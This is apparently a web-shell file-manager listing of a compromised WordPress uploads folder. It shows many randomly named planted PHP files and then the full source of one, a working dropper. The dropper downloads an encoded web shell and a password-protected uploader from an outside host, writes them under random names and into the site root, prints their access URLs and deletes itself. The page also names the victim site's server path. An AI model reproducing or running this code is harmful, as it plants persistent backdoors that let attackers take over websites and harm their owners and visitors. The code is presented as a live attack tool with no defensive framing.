golden hour

/home/godaofbq/5starhyperbarics.com/wp-content__f55e306/uploads

File/Folder	Size	Actions
.htaccess	301 B
2023	-
2024	-
2025	-
2026	-
760dt.php	14 B
8fjbj.php	14 B
BDKR28_02jo0f76.php	23.11 KB
BDKR28_1gyqhr04.php	23.11 KB
BDKR28_2xbsssqz.php	23.11 KB
BDKR28_7yjiy3ci.php	23.11 KB
BDKR28_92o2viik.php	23.11 KB
BDKR28_ah59ukdz.php	23.11 KB
BDKR28_ctuokh0d.php	23.11 KB
BDKR28_d4429qxz.php	23.11 KB
BDKR28_flotuebr.php	23.11 KB
BDKR28_gc5psjz4.php	23.11 KB
BDKR28_klw6hpi6.php	23.11 KB
BDKR28_mrxc4hzn.php	23.11 KB
BDKR28_rb4yjcof.php	23.11 KB
BDKR28_rzk5zh7l.php	23.11 KB
BDKR28_sbpae5fw.php	23.11 KB
BDKR28_t5kvptzg.php	23.11 KB
BDKR28_te1ruxx0.php	23.11 KB
BDKR28_ucflpnxm.php	23.11 KB
BDKR28_vsginfmm.php	23.11 KB
BDKR28_y3uk7wf3.php	23.11 KB
BDKR28_yracqs3i.php	23.11 KB
aaa.php	33.19 KB
about.php	6.83 KB
admin.php	6.83 KB
bjhtpaydgy.php	2.06 KB
config.php	6.83 KB
core.php	6.83 KB
eb-patterns	-
elementor	-
error_log	14.65 KB
essential-addons-elementor	-
hb7zxq.php	690 B
hinasiaajg.php	2.06 KB
home.php	6.83 KB
khsmlmefvs.php	2.06 KB
kxsyentfsh.php	2.06 KB
login.php	6.83 KB
maintenance.php	6.83 KB
nilayrnikd.php	2.06 KB
njqsmpjckq.php	2.06 KB
obcejhltlm.php	2.06 KB
ota16n.php	690 B
ovxxpwwbfk.php	2.06 KB
pvbkzudwkg.php	2.06 KB
rtjluyhdlb.php	2.06 KB
slider	-
slider2	-
system.php	6.83 KB
uxaikanjry.php	2.06 KB
wc-imports	-
wc-logs	-
woocommerce-placeholder-100x100.png	2.29 KB
woocommerce-placeholder-1024x1024.png	95.9 KB
woocommerce-placeholder-150x150.png	4.11 KB
woocommerce-placeholder-300x300.png	12.18 KB
woocommerce-placeholder-450x450.png	23.18 KB
woocommerce-placeholder-600x600.png	38.94 KB
woocommerce-placeholder-768x768.png	58.61 KB
woocommerce-placeholder.png	100.24 KB
woocommerce_uploads	-
wp-cron.php	6.83 KB
wpcf7_uploads	-
xsjnmyoshf.php	2.06 KB
ydsleyxwhi.php	2.06 KB
ylmzbplyaj.php	2.06 KB

Edit: bjhtpaydgy.php

<?php
# 383634
$shell_encrypted = curl('https://bdkar.top/shl/fox-bdkr-shel.txt');
$shell = base64_decode($shell_encrypted);
$link = str_replace(basename(__FILE__), '', 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']);
$file1_name = mt_rand_str(8); // Generate random name for shell
$file1 = 'BDKR28_' . $file1_name . '.php';
$file2_name = mt_rand_str(8); // Generate random name for uploader
$file2 = $file2_name . '.php';
$password = mt_rand_str(4);
$save = fopen($file1, 'w');
fwrite($save, $shell);
fclose($save);
$root_save = fopen($_SERVER['DOCUMENT_ROOT'] . '/BDKR28WP.php', 'w');
fwrite($root_save, $shell);
fclose($root_save);
$uploader = curl('https://bdkar.top/shl/uploader-pass.txt');
$uploader = str_replace('RANDOM_PASSWORD', $password, $uploader);
$save = fopen($file2, 'w');
fwrite($save, $uploader);
fclose($save);
$txt_url = "https://bdkar.top/shl/bdkr.txt";
$txt_content = curl($txt_url);
$txt_file = fopen("BDKR.txt", "w");
fwrite($txt_file, $txt_content);
fclose($txt_file);
function mt_rand_str($l, $c = 'abcdefghijklmnopqrstuvwxyz1234567890') {
 for ($s = '', $cl = strlen($c) - 1, $i = 0; $i < $l; $s .= $c[mt_rand(0, $cl)], ++$i);
 return $s;
}
function curl($url) {
 $html = file_get_contents($url);
 if (!empty($html)) {
 return $html;
 }
 $curl = curl_init();
 curl_setopt($curl, CURLOPT_TIMEOUT, 40);
 curl_setopt($curl, CURLOPT_RETURNTRANSFER, TRUE);
 curl_setopt($curl, CURLOPT_URL, $url);
 curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0");
 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, TRUE);
 if (stristr($url, "https://")) {
 curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, 0);
 curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 0);
 }
 curl_setopt($curl, CURLOPT_HEADER, false);
 return curl_exec($curl);
}
?>
<shell><center> Shell : <?php echo $link . $file1; ?></center> </shell>
<up><center> Up : <?php echo $link . $file2 . '?BDKR28=' . $password; ?></center> </up>
<?php
unlink(__FILE__);